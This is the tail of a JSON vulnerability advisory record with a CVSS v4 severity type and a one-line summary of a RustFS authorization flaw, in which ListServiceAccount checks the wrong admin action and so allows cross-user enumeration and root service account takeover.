      "type": "CVSS_V4"
    }
  ],
  "summary": "RustFS: ListServiceAccount authorizes against wrong admin action, enabling cross-user enumeration and root service account takeover"
}